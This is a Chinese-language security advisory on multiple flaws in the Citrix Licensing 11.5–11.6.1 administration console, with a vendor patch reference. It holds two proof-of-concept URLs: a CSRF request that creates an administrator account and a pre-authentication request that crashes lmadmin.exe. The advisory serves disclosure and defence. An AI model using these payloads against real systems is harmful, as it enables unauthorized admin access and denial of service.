发布日期：2012-03-15
更新日期：2012-03-19

受影响系统：

Citrix Licensing 11.6.1 build 10007
Citrix Licensing 11.6.1
Citrix Licensing 11.6
Citrix Licensing 11.5

描述：

---

BUGTRAQ  ID: 52522

Citrix Licensing是保护您法律和金融权益的授权程序。

Citrix Licensing的管理控制台使用的第三方组件中存在多个漏洞，远程攻击者可利用此漏洞使受影响应用崩溃。

<*来源：Knud aka Smurfbuddies
  
  链接：http://support.citrix.com/article/CTX128167
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Knud aka Smurfbuddies （）提供了如下测试方法：

Proof-of-Concept:
http://www.example.com/users?licenseTab=&amp;selected=&amp;userName=xsrf&amp;firstName=xsrf&amp;lastName=xsrf&amp;password2=xsrf&amp;confirm=xsrf&amp;accountType=admin&amp;originalAccountType=&amp;Create=Save(Administrator CSRF)

http://www.example.com/dashboard?&lt;something long here&gt;=2 (pre auth DoS, crashes lmadmin.exe)

建议：

---

厂商补丁：

Citrix
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://support.citrix.com/

浏览次数：2016
严重程度：0（网友投票）